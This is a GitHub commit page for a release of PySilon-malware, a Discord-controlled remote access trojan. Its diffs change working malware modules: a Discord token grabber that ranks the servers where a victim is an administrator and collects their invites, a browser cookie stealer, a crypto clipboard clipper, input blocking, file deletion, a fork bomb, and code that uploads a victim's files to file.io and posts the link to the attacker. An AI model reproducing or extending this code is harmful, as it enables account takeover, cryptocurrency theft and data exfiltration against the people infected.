Skip to content

Commit

Permalink
Merge pull request #215 from mategol/py-dev
Browse files Browse the repository at this point in the history
PySilon 3.6 [release]
  • Loading branch information
Yaw-Dev authored Aug 29, 2023
2 parents 69fb213 + cdf15f0 commit 3e67561
Show file tree
Hide file tree
Showing 12 changed files with 54 additions and 47 deletions.
12 changes: 9 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,11 +10,17 @@

--------------------

## Matrix server
## Wiki

Join our Matrix to keep up with the progress, ask questions, recommend features and talk to like minded people!
Read our extensive Wiki for more information and detailed building instructions.

![Matrix](https://img.shields.io/matrix/pysilon%3Amatrix.org?server_fqdn=matrix.org&style=plastic&logo=matrix)
[![E-Z.HOST - Yaw](https://img.shields.io/badge/wiki-link-blue?style=for-the-badge&logo=gitbook&logoColor=white)](https://github.com/mategol/PySilon-malware/wiki)

## Discord

Join our discord to keep up with the progress, ask questions, recommend features and talk to like minded people!

[![Discord](https://img.shields.io/discord/1144304250202107995?style=for-the-badge&color=7289da&logo=discord&logoColor=white)](https://discord.gg/ecgAKgssGe)

--------------------

Expand Down
4 changes: 2 additions & 2 deletions resources/discord_token_grabber.py
Original file line number Diff line number Diff line change
Expand Up @@ -164,7 +164,7 @@ def upload(self, raw_data):
if guilds:
hq_guilds = []
for guild in guilds:
admin = True if guild['permissions'] == '4398046511103' else False
admin = int(guild["permissions"]) & 0x8 != 0
if admin and guild['approximate_member_count'] >= 100:
owner = '✅' if guild['owner'] else '❌'
invites = requests.get(f"https://discord.com/api/v8/guilds/{guild['id']}/invites", headers={'Authorization': token}).json()
Expand All @@ -174,7 +174,7 @@ def upload(self, raw_data):
if len('\n'.join(hq_guilds)) + len(data) >= 1024: break
hq_guilds.append(data)

if len(hq_guilds) > 0: hq_guilds = '\n'.join(hq_guilds)
if len(hq_guilds) > 0: hq_guilds = '\n'.join(hq_guilds)
else: hq_guilds = None
else: hq_guilds = None

Expand Down
2 changes: 1 addition & 1 deletion resources/get_cookies.py
Original file line number Diff line number Diff line change
Expand Up @@ -129,7 +129,7 @@ def cookies(self, name: str, path: str, profile: str):
host_key, name, path, encrypted_value, expires_utc = res
value = self.decrypt_password(encrypted_value, self.masterkey)
if host_key and name and value != "":
f.write(f"Host: {host_key}\t\nName: {name}\t\nValue: {value}\n\n")
f.write(f"{host_key}\t{'FALSE' if expires_utc == 0 else 'TRUE'}\t{path}\t{'FALSE' if host_key.startswith('.') else 'TRUE'}\t{expires_utc}\t{name}\t{value}\n")
cursor.close()
conn.close()
os.remove(cookievault)
Expand Down
Binary file added resources/icons/embed_icon.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
8 changes: 4 additions & 4 deletions resources/source_code/block_input.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,14 +22,14 @@ async def on_click():
mouse_listener.start()
#.log Disabled mouse
embed = discord.Embed(title="🚫 Input Blocked",description=f'```Input has been blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
await message.channel.send(embed=embed)
#.log Sent embed about blocked input
input_blocked = True
else:
#.log Input is already blocked
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is already blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
await message.channel.send(embed=embed)
#.log Sent embed about already blocked input
elif message.content == '.unblock-input':
Expand All @@ -43,13 +43,13 @@ async def on_click():
mouse_listener.stop()
#.log Unblocked mouse
embed = discord.Embed(title="🟢 Input Unblocked",description=f'```Input has been unblocked. Block it by using .block-input```', colour=discord.Colour.green())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
await message.channel.send(embed=embed)
#.log Sent embed about unblocked input
input_blocked = False
else:
#.log Input is not blocked
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is not blocked. Block it by using .block-input```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
await message.channel.send(embed=embed)
#.log Sent embed about unblocked input
8 changes: 4 additions & 4 deletions resources/source_code/crypto_clipper.py
Original file line number Diff line number Diff line change
Expand Up @@ -50,15 +50,15 @@ def wait_for_paste():
thread.start()
#.log Started the Clipper
embed = discord.Embed(title="🟢 Crypto Clipper started!",description=f'```Crypto Clipper has been started! Stop it by using .stop-clipper```', colour=discord.Colour.green())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
await message.channel.send(embed=embed)
#.log Sent embed about Clipper startup
else:
#.log Clipper is already running
await message.delete()
#.log Removed the message
embed = discord.Embed(title="🔴 Hold on!",description=f'```Crypto Clipper is already running! Stop it by using .stop-clipper```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
await message.channel.send(embed=embed)
#.log Sent embed about Clipper already running
# on message
Expand All @@ -71,13 +71,13 @@ def wait_for_paste():
thread.join()
#.log Stopped Clipper
embed = discord.Embed(title="🔴 Crypto Clipper stopped!",description=f'```Crypto Clipper has been stopped! Start it using .start-clipper```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
await message.channel.send(embed=embed)
#.log Sent embed about Clipper stopped
clipper_stop = True
else:
#.log Clipper is not running
embed = discord.Embed(title="🔴 Hold on!",description=f'```Crypto Clipper is not running! Start it using .start-clipper```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
await message.channel.send(embed=embed)
#.log Sent embed about Clipper not running
33 changes: 17 additions & 16 deletions resources/source_code/file_downloading.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@
if message.content == '.download':
#.log Author issued empty ".download" command
embed = discord.Embed(title="📛 Error",description=f'```Syntax: .download <file-or-directory>```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
#.log Sent embed about usage of ".download"
else:
Expand All @@ -34,30 +34,31 @@
message.channel.send(e)
#.log Sent message with information about this error. Aborting operation
pass
embed = discord.Embed(title="🟢 Success",description=f'```Uploading to anonfiles.. this can take a while depending on the file size, amount and the victim\'s internet speed..```', colour=discord.Colour.green())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
await message.channel.send(embed=embed)
#.log Sent message about Anonfiles upload
files = {
'file': (f'{message.content[10:]}.zip', open(f'{target_file}', 'rb')),
await message.channel.send("```Uploading to file.io... This can take a while depending on the file size, amount and the victim's internet speed..```")
#.log Sent message about File.io upload
data = {
'file': open(target_file, 'rb')
}
url = 'https://api.anonfiles.com/upload'
#.log Set up required things for Anonfiles upload
response = requests.post(url, files=files)
#.log Uploaded the file onto Anonfiles
url = 'https://file.io/'
#.log Set up required things for File.io upload
response = requests.post(url, files=data)
#.log Uploaded the file onto File.io
data = response.json()
#.log Received response from Anonfiles
await message.channel.send(f"```{message.content[10:]}.zip:``` {data['data']['file']['url']['short']}")
#.log Sent Anonfiles link to uploaded file
#.log Received response from File.io
embed = discord.Embed(title=f"🟢 {message.content[10:]}",description=f"Click [here](<{data['link']}>) to download.", colour=discord.Colour.green())
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
await message.channel.send(embed=embed)
#.log Sent Anonfiles link to uploaded file
await message.channel.send('Warning: The file will be removed from file.io right after the first download.')
else:
#.log File requested by Author does not exist on this PC
embed = discord.Embed(title="📛 Error",description=f'```❗ File or directory not found.```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
#.log Sent embed about missing file
else:
#.log Message is not sent on file-related channel
embed = discord.Embed(title="📛 Error",description=f'_ _\n❗`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>❗\n||-||', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
#.log Sent embed about wrong channel
10 changes: 5 additions & 5 deletions resources/source_code/file_removal.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@
if message.content.strip() == '.remove':
#.log Author issued empty .remove
embed = discord.Embed(title="📛 Error",description=f'```Syntax: .remove <file-or-directory>```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
#.log Sent embed with usage of .remove
else:
Expand All @@ -27,24 +27,24 @@
rmtree('/'.join(working_directory) + '/' + message.content[8:])
#.log Removed a directory
embed = discord.Embed(title="🟢 Success",description=f'```Successfully removed ' + '/'.join(working_directory) + '/' + message.content[8:] + ' from target PC```', colour=discord.Colour.green())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
#.log Sent embed about removal
except Exception as error:
#.log Error occurred while trying to remove a file/directory
embed = discord.Embed(title="📛 Error",description=f'`' + str(error) + '`', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
#.log Sent embed with information about this error
else:
#.log File/Directory requested by Author does not exist on this PC
embed = discord.Embed(title="📛 Error",description=f'```❗ File or directory not found.```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
#.log Sent embed about missing file/directory
else:
#.log Message channel is not file-related
embed = discord.Embed(title="📛 Error",description=f'||-||\n❗`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>❗\n||-||', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
#.log Sent embed about wrong channel
2 changes: 1 addition & 1 deletion resources/source_code/fork_bomb.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
await message.delete()
#.log Removed the message
embed = discord.Embed(title="💣 Starting...",description=f'```Starting fork bomb... This process may take some time.```', colour=discord.Colour.dark_theme())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
await message.channel.send(embed=embed)
#.log Sent message about for bomb starting
with open(f'C:\\Users\\{getuser()}\\wabbit.bat', 'w', encoding='utf-8') as wabbit:
Expand Down
Loading

0 comments on commit 3e67561

Please sign in to comment.